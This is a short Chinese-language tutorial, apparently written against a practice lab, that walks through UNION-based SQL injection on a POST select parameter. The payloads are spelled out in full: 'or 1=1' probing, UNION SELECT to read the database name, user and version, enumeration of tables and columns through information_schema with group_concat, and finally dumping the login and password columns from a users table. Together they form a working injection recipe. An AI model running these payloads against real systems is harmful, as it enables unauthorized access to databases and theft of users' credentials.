sql注入-----sql injection post select
1.首先我们先确定我们需要请求的参数是什么
然后我们看看结果
我们输入 1 or 1=1 #来查看时发现,输入的内容没有报错,但是返回的结果也只有一条。
那么这个时候我们可以推测,代码或者脚本逻辑中,应该加了limit,所以只返回一个,这个时候我们可以这样做
然后我们发现显示 2 3 5 4
然后我们可以改装这几项的显示内容
22 union select 1,database(),user(),version(),5,6 #
从上面已知到数据库的权限用户是什么,版本是什么,所使用的库是哪个库
下面则查看库里面的表内容 ,这个库中的这个表包含所有数据库表数据information_schema.tables,这个代表查询所属当前库table_schema=database(),limit 0,1则每次查询一条,从第1条记录开始查每次查一条
也可以limit 1,1 从第2条开始查,每次查一条
table_name from information_schema.tables where table_schema=database() limit 0,1#
如果需要的字段太多可以使用mysql的拼接函数 group_concat,使用如下 select group_concat(Field name) from tableName ,效果如下
也可以直接使用concat来进行列值的组合,详情如下
本来我们的注入是这样的
22 UNION select 1,DATABASE(),USER(),VERSION(),table_name,6 from information_schema.tables
where table_schema=database() limit 0,1#
那我们有了group_concat之后我们就可以这样组合
22 UNION select 1,DATABASE(),USER(),VERSION(),group_concat(table_name),6 from information_schema.tables
where table_schema=database() #
从上面我们可以得到我们所在库的所有表
拿到表了之后我们去找每张表的字段column_name为information_schema.columns表中固定写法,table_name为所属表,users为我们在上面获得的表名,从而拿到users表中的所有字段名
SELECT 1,DATABASE(),USER(),VERSION(),group_concat(column_name),6 FROM information_schema.columns
WHERE table_name='users';
然后我们挨个试,得到有用的列名,然后通过我们的脚本获取到所有的数据
SELECT 1,DATABASE(),GROUP_CONCAT(login),VERSION(),GROUP_CONCAT(PASSWORD),6 FROM users;
22 UNION SELECT 1,DATABASE(),GROUP_CONCAT(login),VERSION(),GROUP_CONCAT(PASSWORD),6 FROM users;#